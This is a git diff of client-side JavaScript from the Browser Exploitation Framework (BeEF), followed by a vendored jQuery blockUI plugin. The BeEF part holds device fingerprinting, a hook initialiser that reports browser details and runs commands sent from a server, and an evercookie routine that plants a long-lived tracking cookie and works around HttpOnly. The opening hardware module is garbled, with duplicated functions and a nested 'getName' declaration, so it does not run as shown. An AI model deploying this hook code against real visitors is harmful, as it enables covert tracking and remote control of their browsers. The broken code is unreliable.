// note that actually WOW64 means IE 32bit and Windows 64 bit. we are more interested
|
||||
// in detecting the OS arch rather than the browser build
|
||||
if (navigator.userAgent.match('(WOW64|x64|x86_64)') || navigator.platform.toLowerCase() == "win64"){
|
||||
arch = 'x86_64';
|
||||
}else if(typeof navigator.cpuClass != 'undefined'){
|
||||
switch (navigator.cpuClass) {
|
||||
case '68K':
|
||||
arch = 'Motorola 68K';
|
||||
break;
|
||||
case 'PPC':
|
||||
arch = 'Motorola PPC';
|
||||
break;
|
||||
case 'Digital':
|
||||
arch = 'Alpha';
|
||||
break;
|
||||
default:
|
||||
arch = 'x86';
|
||||
}
|
||||
}
|
||||
// TODO we can infer the OS is 64 bit, if we first detect the OS type (os.js).
|
||||
// For example, if OSX is at least 10.7, most certainly is 64 bit.
|
||||
return arch;
|
||||
},
|
||||
|
||||
isIpod: function() {
|
||||
return (this.ua.indexOf('iPod') != -1) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isTouchEnabled: function() {
|
||||
if ('ontouchstart' in document) return true;
|
||||
return false;
|
||||
},
|
||||
|
||||
isNokia: function() {
|
||||
return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isVirtualMachine: function() {
|
||||
if (screen.width % 2 || screen.height % 2) return true;
|
||||
return false;
|
||||
},
|
||||
|
||||
isBlackBerry: function() {
|
||||
return (this.ua.match('BlackBerry')) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isLaptop: function() {
|
||||
// Most common laptop screen resolution
|
||||
if (screen.width == 1366 && screen.height == 768) return true;
|
||||
// Netbooks
|
||||
if (screen.width == 1024 && screen.height == 600) return true;
|
||||
return false;
|
||||
},
|
||||
|
||||
isZune: function() {
|
||||
return (this.ua.match('ZuneWP7')) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isNokia: function() {
|
||||
return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
|
||||
},
|
||||
|
||||
isKindle: function() {
|
||||
return (this.ua.match('Kindle')) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isZune: function() {
|
||||
return (this.ua.match('ZuneWP7')) ? true : false;
|
||||
},
|
||||
|
||||
isHtc: function() {
|
||||
return (this.ua.match('HTC')) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isHtc: function() {
|
||||
return (this.ua.match('HTC')) ? true : false;
|
||||
},
|
||||
|
||||
isEricsson: function() {
|
||||
return (this.ua.match('Ericsson')) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isEricsson: function() {
|
||||
return (this.ua.match('Ericsson')) ? true : false;
|
||||
},
|
||||
|
||||
isNokia: function() {
|
||||
return (this.ua.match('Nokia')) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isMotorola: function() {
|
||||
return (this.ua.match('Motorola')) ? true : false;
|
||||
},
|
||||
|
||||
isMotorola: function() {
|
||||
return (this.ua.match('Motorola')) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isGoogle: function() {
|
||||
return (this.ua.match('Nexus One')) ? true : false;
|
||||
},
|
||||
|
||||
isGoogle: function() {
|
||||
return (this.ua.match('Nexus One')) ? true : false;
|
||||
},
|
||||
/**
|
||||
* Returns true if the browser is on a Mobile Phone
|
||||
* @return: {Boolean} true or false
|
||||
*
|
||||
* @example: if(beef.hardware.isMobilePhone()) { ... }
|
||||
**/
|
||||
isMobilePhone: function() {
|
||||
return DetectMobileQuick();
|
||||
},
|
||||
|
||||
getName: function() {
|
||||
getName: function() {
|
||||
var ua = navigator.userAgent.toLowerCase();
|
||||
if(DetectIphone()) { return "iPhone"};
|
||||
if(DetectIpod()) { return "iPod Touch"};
|
||||
if(DetectIpad()) { return "iPad"};
|
||||
if (this.isHtc()) { return 'HTC'};
|
||||
if (this.isMotorola()) { return 'Motorola'};
|
||||
if (this.isZune()) { return 'Zune'};
|
||||
if (this.isGoogle()) { return 'Google Nexus One'};
|
||||
if (this.isEricsson()) { return 'Ericsson'};
|
||||
if(DetectAndroidPhone()) { return "Android Phone"};
|
||||
if(DetectAndroidTablet()) { return "Android Tablet"};
|
||||
if(DetectS60OssBrowser()) { return "Nokia S60 Open Source"};
|
||||
if(ua.search(deviceS60) > -1) { return "Nokia S60"};
|
||||
if(ua.search(deviceS70) > -1) { return "Nokia S70"};
|
||||
if(ua.search(deviceS80) > -1) { return "Nokia S80"};
|
||||
if(ua.search(deviceS90) > -1) { return "Nokia S90"};
|
||||
if(ua.search(deviceSymbian) > -1) { return "Nokia Symbian"};
|
||||
if (this.isNokia()) { return 'Nokia'};
|
||||
if(DetectWindowsPhone7()) { return "Windows Phone 7"};
|
||||
if(DetectWindowsMobile()) { return "Windows Mobile"};
|
||||
if(DetectBlackBerryTablet()) { return "BlackBerry Tablet"};
|
||||
if(DetectBlackBerryWebKit()) { return "BlackBerry OS 6"};
|
||||
if(DetectBlackBerryTouch()) { return "BlackBerry Touch"};
|
||||
if(DetectBlackBerryHigh()) { return "BlackBerry OS 5"};
|
||||
if(DetectBlackBerry()) { return "BlackBerry"};
|
||||
if(DetectPalmOS()) { return "Palm OS"};
|
||||
if(DetectPalmWebOS()) { return "Palm Web OS"};
|
||||
if(DetectGarminNuvifone()) { return "Gamin Nuvifone"};
|
||||
if(DetectArchos()) { return "Archos"}
|
||||
if(DetectBrewDevice()) { return "Brew"};
|
||||
if(DetectDangerHiptop()) { return "Danger Hiptop"};
|
||||
if(DetectMaemoTablet()) { return "Maemo Tablet"};
|
||||
if(DetectSonyMylo()) { return "Sony Mylo"};
|
||||
if(DetectAmazonSilk()) { return "Kindle Fire"};
|
||||
if(DetectKindle()) { return "Kindle"};
|
||||
if(DetectSonyPlaystation()) { return "Playstation"};
|
||||
if(ua.search(deviceNintendoDs) > -1) { return "Nintendo DS"};
|
||||
if(ua.search(deviceWii) > -1) { return "Nintendo Wii"};
|
||||
if(ua.search(deviceNintendo) > -1) { return "Nintendo"};
|
||||
if(DetectXbox()) { return "Xbox"};
|
||||
if(this.isLaptop()) { return "Laptop"};
|
||||
if(this.isVirtualMachine()) { return "Virtual Machine"};
|
||||
|
||||
if (this.isNokia()) return 'Nokia';
|
||||
if (this.isWinPhone()) return 'Windows Phone';
|
||||
if (this.isBlackBerry()) return 'BlackBerry';
|
||||
if (this.isIphone()) return 'iPhone';
|
||||
if (this.isIpad()) return 'iPad';
|
||||
if (this.isIpod()) return 'iPod';
|
||||
if (this.isKindle()) return 'Kindle';
|
||||
if (this.isHtc()) return 'HTC';
|
||||
if (this.isMotorola()) return 'Motorola';
|
||||
if (this.isZune()) return 'Zune';
|
||||
if (this.isGoogle()) return 'Google';
|
||||
if (this.isEricsson()) return 'Ericsson';
|
||||
|
||||
return 'Unknown';
|
||||
}
|
||||
return 'Unknown';
|
||||
}
|
||||
};
|
||||
|
||||
beef.regCmp('beef.net.hardware');
|
||||
beef.regCmp('beef.hardware');
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -13,7 +13,8 @@
|
||||
* and will have a new session id. The new session id will need to know
|
||||
* the brwoser details. So sendback the browser details again.
|
||||
*/
|
||||
BEEFHOOK = beef.session.get_hook_session_id();
|
||||
|
||||
beef.session.get_hook_session_id();
|
||||
|
||||
if (beef.pageIsLoaded) {
|
||||
beef.net.browser_details();
|
||||
@@ -31,7 +32,7 @@ window.onpopstate = function (event) {
|
||||
try {
|
||||
callback(event);
|
||||
} catch (e) {
|
||||
console.log("window.onpopstate - couldn't execute callback: " + e.message);
|
||||
beef.debug("window.onpopstate - couldn't execute callback: " + e.message);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
@@ -46,7 +47,7 @@ window.onclose = function (event) {
|
||||
try {
|
||||
callback(event);
|
||||
} catch (e) {
|
||||
console.log("window.onclose - couldn't execute callback: " + e.message);
|
||||
beef.debug("window.onclose - couldn't execute callback: " + e.message);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
@@ -68,13 +69,11 @@ function beef_init() {
|
||||
beef.net.browser_details();
|
||||
beef.updater.execute_commands();
|
||||
beef.logger.start();
|
||||
beef.are.init();
|
||||
}else {
|
||||
beef.net.browser_details();
|
||||
beef.updater.execute_commands();
|
||||
beef.updater.check();
|
||||
beef.logger.start();
|
||||
beef.are.init();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
1295
core/main/client/lib/deployJava.js
Normal file
1295
core/main/client/lib/deployJava.js
Normal file
File diff suppressed because it is too large
Load Diff
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -793,14 +793,19 @@ this.waitForSwf = function(i)
|
||||
|
||||
this.evercookie_cookie = function(name, value)
|
||||
{
|
||||
if (typeof(value) != "undefined")
|
||||
{
|
||||
// expire the cookie first
|
||||
document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
|
||||
document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
|
||||
}
|
||||
else
|
||||
return this.getFromStr(name, document.cookie);
|
||||
try{
|
||||
if (typeof(value) != "undefined")
|
||||
{
|
||||
// expire the cookie first
|
||||
document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
|
||||
document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
|
||||
}
|
||||
else
|
||||
return this.getFromStr(name, document.cookie);
|
||||
}catch(e){
|
||||
// the hooked domain is using HttpOnly, so we must set the hook ID in a different way.
|
||||
// evercookie_userdata and evercookie_window will be used in this case.
|
||||
}
|
||||
};
|
||||
|
||||
// get value from param-like string (eg, "x=y&name=VALUE")
|
||||
|
||||
6
core/main/client/lib/jquery-1.10.2.min.js
vendored
Normal file
6
core/main/client/lib/jquery-1.10.2.min.js
vendored
Normal file
File diff suppressed because one or more lines are too long
2
core/main/client/lib/jquery-migrate-1.2.1.min.js
vendored
Normal file
2
core/main/client/lib/jquery-migrate-1.2.1.min.js
vendored
Normal file
File diff suppressed because one or more lines are too long
620
core/main/client/lib/jquery.blockUI.js
Normal file
620
core/main/client/lib/jquery.blockUI.js
Normal file
@@ -0,0 +1,620 @@
|
||||
/*!
|
||||
* jQuery blockUI plugin
|
||||
* Version 2.70.0-2014.11.23
|
||||
* Requires jQuery v1.7 or later
|
||||
*
|
||||
* Examples at: http://malsup.com/jquery/block/
|
||||
* Copyright (c) 2007-2013 M. Alsup
|
||||
* Dual licensed under the MIT and GPL licenses:
|
||||
* http://www.opensource.org/licenses/mit-license.php
|
||||
* http://www.gnu.org/licenses/gpl.html
|
||||
*
|
||||
* Thanks to Amir-Hossein Sobhi for some excellent contributions!
|
||||
*/
|
||||
|
||||
;(function() {
|
||||
/*jshint eqeqeq:false curly:false latedef:false */
|
||||
"use strict";
|
||||
|
||||
function setup($) {
|
||||
$.fn._fadeIn = $.fn.fadeIn;
|
||||
|
||||
var noOp = $.noop || function() {};
|
||||
|
||||
// this bit is to ensure we don't call setExpression when we shouldn't (with extra muscle to handle
|
||||
// confusing userAgent strings on Vista)
|
||||
var msie = /MSIE/.test(navigator.userAgent);
|
||||
var ie6 = /MSIE 6.0/.test(navigator.userAgent) && ! /MSIE 8.0/.test(navigator.userAgent);
|
||||
var mode = document.documentMode || 0;
|
||||
var setExpr = $.isFunction( document.createElement('div').style.setExpression );
|
||||
|
||||
// global $ methods for blocking/unblocking the entire page
|
||||
$.blockUI = function(opts) { install(window, opts); };
|
||||
$.unblockUI = function(opts) { remove(window, opts); };
|
||||
|
||||
// convenience method for quick growl-like notifications (http://www.google.com/search?q=growl)
|
||||
$.growlUI = function(title, message, timeout, onClose) {
|
||||
var $m = $('<div class="growlUI"></div>');
|
||||
if (title) $m.append('<h1>'+title+'</h1>');
|
||||
if (message) $m.append('<h2>'+message+'</h2>');
|
||||
if (timeout === undefined) timeout = 3000;
|
||||
|
||||
// Added by konapun: Set timeout to 30 seconds if this growl is moused over, like normal toast notifications
|
||||
var callBlock = function(opts) {
|
||||
opts = opts || {};
|
||||
|
||||
$.blockUI({
|
||||
message: $m,
|
||||
fadeIn : typeof opts.fadeIn !== 'undefined' ? opts.fadeIn : 700,
|
||||
fadeOut: typeof opts.fadeOut !== 'undefined' ? opts.fadeOut : 1000,
|
||||
timeout: typeof opts.timeout !== 'undefined' ? opts.timeout : timeout,
|
||||
centerY: false,
|
||||
showOverlay: false,
|
||||
onUnblock: onClose,
|
||||
css: $.blockUI.defaults.growlCSS
|
||||
});
|
||||
};
|
||||
|
||||
callBlock();
|
||||
var nonmousedOpacity = $m.css('opacity');
|
||||
$m.mouseover(function() {
|
||||
callBlock({
|
||||
fadeIn: 0,
|
||||
timeout: 30000
|
||||
});
|
||||
|
||||
var displayBlock = $('.blockMsg');
|
||||
displayBlock.stop(); // cancel fadeout if it has started
|
||||
displayBlock.fadeTo(300, 1); // make it easier to read the message by removing transparency
|
||||
}).mouseout(function() {
|
||||
$('.blockMsg').fadeOut(1000);
|
||||
});
|
||||
// End konapun additions
|
||||
};
|
||||
|
||||
// plugin method for blocking element content
|
||||
$.fn.block = function(opts) {
|
||||
if ( this[0] === window ) {
|
||||
$.blockUI( opts );
|
||||
return this;
|
||||
}
|
||||
var fullOpts = $.extend({}, $.blockUI.defaults, opts || {});
|
||||
this.each(function() {
|
||||
var $el = $(this);
|
||||
if (fullOpts.ignoreIfBlocked && $el.data('blockUI.isBlocked'))
|
||||
return;
|
||||
$el.unblock({ fadeOut: 0 });
|
||||
});
|
||||
|
||||
return this.each(function() {
|
||||
if ($.css(this,'position') == 'static') {
|
||||
this.style.position = 'relative';
|
||||
$(this).data('blockUI.static', true);
|
||||
}
|
||||
this.style.zoom = 1; // force 'hasLayout' in ie
|
||||
install(this, opts);
|
||||
});
|
||||
};
|
||||
|
||||
// plugin method for unblocking element content
|
||||
$.fn.unblock = function(opts) {
|
||||
if ( this[0] === window ) {
|
||||
$.unblockUI( opts );
|
||||
return this;
|
||||
}
|
||||
return this.each(function() {
|
||||
remove(this, opts);
|
||||
});
|
||||
};
|
||||
|
||||
$.blockUI.version = 2.70; // 2nd generation blocking at no extra cost!
|
||||
|
||||
// override these in your code to change the default behavior and style
|
||||
$.blockUI.defaults = {
|
||||
// message displayed when blocking (use null for no message)
|
||||
message: '<h1>Please wait...</h1>',
|
||||
|
||||
title: null, // title string; only used when theme == true
|
||||
draggable: true, // only used when theme == true (requires jquery-ui.js to be loaded)
|
||||
|
||||
theme: false, // set to true to use with jQuery UI themes
|
||||
|
||||
// styles for the message when blocking; if you wish to disable
|
||||
// these and use an external stylesheet then do this in your code:
|
||||
// $.blockUI.defaults.css = {};
|
||||
css: {
|
||||
padding: 0,
|
||||
margin: 0,
|
||||
width: '30%',
|
||||
top: '40%',
|
||||
left: '35%',
|
||||
textAlign: 'center',
|
||||
color: '#000',
|
||||
border: '3px solid #aaa',
|
||||
backgroundColor:'#fff',
|
||||
cursor: 'wait'
|
||||
},
|
||||
|
||||
// minimal style set used when themes are used
|
||||
themedCSS: {
|
||||
width: '30%',
|
||||
top: '40%',
|
||||
left: '35%'
|
||||
},
|
||||
|
||||
// styles for the overlay
|
||||
overlayCSS: {
|
||||
backgroundColor: '#000',
|
||||
opacity: 0.6,
|
||||
cursor: 'wait'
|
||||
},
|
||||
|
||||
// style to replace wait cursor before unblocking to correct issue
|
||||
// of lingering wait cursor
|
||||
cursorReset: 'default',
|
||||
|
||||
// styles applied when using $.growlUI
|
||||
growlCSS: {
|
||||
width: '350px',
|
||||
top: '10px',
|
||||
left: '',
|
||||
right: '10px',
|
||||
border: 'none',
|
||||
padding: '5px',
|
||||
opacity: 0.6,
|
||||
cursor: 'default',
|
||||
color: '#fff',
|
||||
backgroundColor: '#000',
|
||||
'-webkit-border-radius':'10px',
|
||||
'-moz-border-radius': '10px',
|
||||
'border-radius': '10px'
|
||||
},
|
||||
|
||||
// IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
|
||||
// (hat tip to Jorge H. N. de Vasconcelos)
|
||||
/*jshint scripturl:true */
|
||||
iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',
|
||||
|
||||
// force usage of iframe in non-IE browsers (handy for blocking applets)
|
||||
forceIframe: false,
|
||||
|
||||
// z-index for the blocking overlay
|
||||
baseZ: 1000,
|
||||
|
||||
// set these to true to have the message automatically centered
|
||||
centerX: true, // <-- only effects element blocking (page block controlled via css above)
|
||||
centerY: true,
|
||||
|
||||
// allow body element to be stetched in ie6; this makes blocking look better
|
||||
// on "short" pages. disable if you wish to prevent changes to the body height
|
||||
allowBodyStretch: true,
|
||||
|
||||
// enable if you want key and mouse events to be disabled for content that is blocked
|
||||
bindEvents: true,
|
||||
|
||||
// be default blockUI will supress tab navigation from leaving blocking content
|
||||
// (if bindEvents is true)
|
||||
constrainTabKey: true,
|
||||
|
||||
// fadeIn time in millis; set to 0 to disable fadeIn on block
|
||||
fadeIn: 200,
|
||||
|
||||
// fadeOut time in millis; set to 0 to disable fadeOut on unblock
|
||||
fadeOut: 400,
|
||||
|
||||
// time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
|
||||
timeout: 0,
|
||||
|
||||
// disable if you don't want to show the overlay
|
||||
showOverlay: true,
|
||||
|
||||
// if true, focus will be placed in the first available input field when
|
||||
// page blocking
|
||||
focusInput: true,
|
||||
|
||||
// elements that can receive focus
|
||||
focusableElements: ':input:enabled:visible',
|
||||
|
||||
// suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
|
||||
// no longer needed in 2012
|
||||
// applyPlatformOpacityRules: true,
|
||||
|
||||
// callback method invoked when fadeIn has completed and blocking message is visible
|
||||
onBlock: null,
|
||||
|
||||
// callback method invoked when unblocking has completed; the callback is
|
||||
// passed the element that has been unblocked (which is the window object for page
|
||||
// blocks) and the options that were passed to the unblock call:
|
||||
// onUnblock(element, options)
|
||||
onUnblock: null,
|
||||
|
||||
// callback method invoked when the overlay area is clicked.
|
||||
// setting this will turn the cursor to a pointer, otherwise cursor defined in overlayCss will be used.
|
||||
onOverlayClick: null,
|
||||
|
||||
// don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
|
||||
quirksmodeOffsetHack: 4,
|
||||
|
||||
// class name of the message block
|
||||
blockMsgClass: 'blockMsg',
|
||||
|
||||
// if it is already blocked, then ignore it (don't unblock and reblock)
|
||||
ignoreIfBlocked: false
|
||||
};
|
||||
|
||||
// private data and functions follow...
|
||||
|
||||
var pageBlock = null;
|
||||
var pageBlockEls = [];
|
||||
|
||||
function install(el, opts) {
|
||||
var css, themedCSS;
|
||||
var full = (el == window);
|
||||
var msg = (opts && opts.message !== undefined ? opts.message : undefined);
|
||||
opts = $.extend({}, $.blockUI.defaults, opts || {});
|
||||
|
||||
if (opts.ignoreIfBlocked && $(el).data('blockUI.isBlocked'))
|
||||
return;
|
||||
|
||||
opts.overlayCSS = $.extend({}, $.blockUI.defaults.overlayCSS, opts.overlayCSS || {});
|
||||
css = $.extend({}, $.blockUI.defaults.css, opts.css || {});
|
||||
if (opts.onOverlayClick)
|
||||
opts.overlayCSS.cursor = 'pointer';
|
||||
|
||||
themedCSS = $.extend({}, $.blockUI.defaults.themedCSS, opts.themedCSS || {});
|
||||
msg = msg === undefined ? opts.message : msg;
|
||||
|
||||
// remove the current block (if there is one)
|
||||
if (full && pageBlock)
|
||||
remove(window, {fadeOut:0});
|
||||
|
||||
// if an existing element is being used as the blocking content then we capture
|
||||
// its current place in the DOM (and current display style) so we can restore
|
||||
// it when we unblock
|
||||
if (msg && typeof msg != 'string' && (msg.parentNode || msg.jquery)) {
|
||||
var node = msg.jquery ? msg[0] : msg;
|
||||
var data = {};
|
||||
$(el).data('blockUI.history', data);
|
||||
data.el = node;
|
||||
data.parent = node.parentNode;
|
||||
data.display = node.style.display;
|
||||
data.position = node.style.position;
|
||||
if (data.parent)
|
||||
data.parent.removeChild(node);
|
||||
}
|
||||
|
||||
$(el).data('blockUI.onUnblock', opts.onUnblock);
|
||||
var z = opts.baseZ;
|
||||
|
||||
// blockUI uses 3 layers for blocking, for simplicity they are all used on every platform;
|
||||
// layer1 is the iframe layer which is used to supress bleed through of underlying content
|
||||
// layer2 is the overlay layer which has opacity and a wait cursor (by default)
|
||||
// layer3 is the message content that is displayed while blocking
|
||||
var lyr1, lyr2, lyr3, s;
|
||||
if (msie || opts.forceIframe)
|
||||
lyr1 = $('<iframe class="blockUI" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0" src="'+opts.iframeSrc+'"></iframe>');
|
||||
else
|
||||
lyr1 = $('<div class="blockUI" style="display:none"></div>');
|
||||
|
||||
if (opts.theme)
|
||||
lyr2 = $('<div class="blockUI blockOverlay ui-widget-overlay" style="z-index:'+ (z++) +';display:none"></div>');
|
||||
else
|
||||
lyr2 = $('<div class="blockUI blockOverlay" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0"></div>');
|
||||
|
||||
if (opts.theme && full) {
|
||||
s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:fixed">';
|
||||
if ( opts.title ) {
|
||||
s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || ' ')+'</div>';
|
||||
}
|
||||
s += '<div class="ui-widget-content ui-dialog-content"></div>';
|
||||
s += '</div>';
|
||||
}
|
||||
else if (opts.theme) {
|
||||
s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:absolute">';
|
||||
if ( opts.title ) {
|
||||
s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || ' ')+'</div>';
|
||||
}
|
||||
s += '<div class="ui-widget-content ui-dialog-content"></div>';
|
||||
s += '</div>';
|
||||
}
|
||||
else if (full) {
|
||||
s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage" style="z-index:'+(z+10)+';display:none;position:fixed"></div>';
|
||||
}
|
||||
else {
|
||||
s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement" style="z-index:'+(z+10)+';display:none;position:absolute"></div>';
|
||||
}
|
||||
lyr3 = $(s);
|
||||
|
||||
// if we have a message, style it
|
||||
if (msg) {
|
||||
if (opts.theme) {
|
||||
lyr3.css(themedCSS);
|
||||
lyr3.addClass('ui-widget-content');
|
||||
}
|
||||
else
|
||||
lyr3.css(css);
|
||||
}
|
||||
|
||||
// style the overlay
|
||||
if (!opts.theme /*&& (!opts.applyPlatformOpacityRules)*/)
|
||||
lyr2.css(opts.overlayCSS);
|
||||
lyr2.css('position', full ? 'fixed' : 'absolute');
|
||||
|
||||
// make iframe layer transparent in IE
|
||||
if (msie || opts.forceIframe)
|
||||
lyr1.css('opacity',0.0);
|
||||
|
||||
//$([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el);
|
||||
var layers = [lyr1,lyr2,lyr3], $par = full ? $('body') : $(el);
|
||||
$.each(layers, function() {
|
||||
this.appendTo($par);
|
||||
});
|
||||
|
||||
if (opts.theme && opts.draggable && $.fn.draggable) {
|
||||
lyr3.draggable({
|
||||
handle: '.ui-dialog-titlebar',
|
||||
cancel: 'li'
|
||||
});
|
||||
}
|
||||
|
||||
// ie7 must use absolute positioning in quirks mode and to account for activex issues (when scrolling)
|
||||
var expr = setExpr && (!$.support.boxModel || $('object,embed', full ? null : el).length > 0);
|
||||
if (ie6 || expr) {
|
||||
// give body 100% height
|
||||
if (full && opts.allowBodyStretch && $.support.boxModel)
|
||||
$('html,body').css('height','100%');
|
||||
|
||||
// fix ie6 issue when blocked element has a border width
|
||||
if ((ie6 || !$.support.boxModel) && !full) {
|
||||
var t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth');
|
||||
var fixT = t ? '(0 - '+t+')' : 0;
|
||||
var fixL = l ? '(0 - '+l+')' : 0;
|
||||
}
|
||||
|
||||
// simulate fixed position
|
||||
$.each(layers, function(i,o) {
|
||||
var s = o[0].style;
|
||||
s.position = 'absolute';
|
||||
if (i < 2) {
|
||||
if (full)
|
||||
s.setExpression('height','Math.max(document.body.scrollHeight, document.body.offsetHeight) - (jQuery.support.boxModel?0:'+opts.quirksmodeOffsetHack+') + "px"');
|
||||
else
|
||||
s.setExpression('height','this.parentNode.offsetHeight + "px"');
|
||||
if (full)
|
||||
s.setExpression('width','jQuery.support.boxModel && document.documentElement.clientWidth || document.body.clientWidth + "px"');
|
||||
else
|
||||
s.setExpression('width','this.parentNode.offsetWidth + "px"');
|
||||
if (fixL) s.setExpression('left', fixL);
|
||||
if (fixT) s.setExpression('top', fixT);
|
||||
}
|
||||
else if (opts.centerY) {
|
||||
if (full) s.setExpression('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "px"');
|
||||
s.marginTop = 0;
|
||||
}
|
||||
else if (!opts.centerY && full) {
|
||||
var top = (opts.css && opts.css.top) ? parseInt(opts.css.top, 10) : 0;
|
||||
var expression = '((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + '+top+') + "px"';
|
||||
s.setExpression('top',expression);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// show the message
|
||||
if (msg) {
|
||||
if (opts.theme)
|
||||
lyr3.find('.ui-widget-content').append(msg);
|
||||
else
|
||||
lyr3.append(msg);
|
||||
if (msg.jquery || msg.nodeType)
|
||||
$(msg).show();
|
||||
}
|
||||
|
||||
if ((msie || opts.forceIframe) && opts.showOverlay)
|
||||
lyr1.show(); // opacity is zero
|
||||
if (opts.fadeIn) {
|
||||
var cb = opts.onBlock ? opts.onBlock : noOp;
|
||||
var cb1 = (opts.showOverlay && !msg) ? cb : noOp;
|
||||
var cb2 = msg ? cb : noOp;
|
||||
if (opts.showOverlay)
|
||||
lyr2._fadeIn(opts.fadeIn, cb1);
|
||||
if (msg)
|
||||
lyr3._fadeIn(opts.fadeIn, cb2);
|
||||
}
|
||||
else {
|
||||
if (opts.showOverlay)
|
||||
lyr2.show();
|
||||
if (msg)
|
||||
lyr3.show();
|
||||
if (opts.onBlock)
|
||||
opts.onBlock.bind(lyr3)();
|
||||
}
|
||||
|
||||
// bind key and mouse events
|
||||
bind(1, el, opts);
|
||||
|
||||
if (full) {
|
||||
pageBlock = lyr3[0];
|
||||
pageBlockEls = $(opts.focusableElements,pageBlock);
|
||||
if (opts.focusInput)
|
||||
setTimeout(focus, 20);
|
||||
}
|
||||
else
|
||||
center(lyr3[0], opts.centerX, opts.centerY);
|
||||
|
||||
if (opts.timeout) {
|
||||
// auto-unblock
|
||||
var to = setTimeout(function() {
|
||||
if (full)
|
||||
$.unblockUI(opts);
|
||||
else
|
||||
$(el).unblock(opts);
|
||||
}, opts.timeout);
|
||||
$(el).data('blockUI.timeout', to);
|
||||
}
|
||||
}
|
||||
|
||||
// remove the block
|
||||
function remove(el, opts) {
|
||||
var count;
|
||||
var full = (el == window);
|
||||
var $el = $(el);
|
||||
var data = $el.data('blockUI.history');
|
||||
var to = $el.data('blockUI.timeout');
|
||||
if (to) {
|
||||
clearTimeout(to);
|
||||
$el.removeData('blockUI.timeout');
|
||||
}
|
||||
opts = $.extend({}, $.blockUI.defaults, opts || {});
|
||||
bind(0, el, opts); // unbind events
|
||||
|
||||
if (opts.onUnblock === null) {
|
||||
opts.onUnblock = $el.data('blockUI.onUnblock');
|
||||
$el.removeData('blockUI.onUnblock');
|
||||
}
|
||||
|
||||
var els;
|
||||
if (full) // crazy selector to handle odd field errors in ie6/7
|
||||
els = $('body').children().filter('.blockUI').add('body > .blockUI');
|
||||
else
|
||||
els = $el.find('>.blockUI');
|
||||
|
||||
// fix cursor issue
|
||||
if ( opts.cursorReset ) {
|
||||
if ( els.length > 1 )
|
||||
els[1].style.cursor = opts.cursorReset;
|
||||
if ( els.length > 2 )
|
||||
els[2].style.cursor = opts.cursorReset;
|
||||
}
|
||||
|
||||
if (full)
|
||||
pageBlock = pageBlockEls = null;
|
||||
|
||||
if (opts.fadeOut) {
|
||||
count = els.length;
|
||||
els.stop().fadeOut(opts.fadeOut, function() {
|
||||
if ( --count === 0)
|
||||
reset(els,data,opts,el);
|
||||
});
|
||||
}
|
||||
else
|
||||
reset(els, data, opts, el);
|
||||
}
|
||||
|
||||
// move blocking element back into the DOM where it started
|
||||
function reset(els,data,opts,el) {
|
||||
var $el = $(el);
|
||||
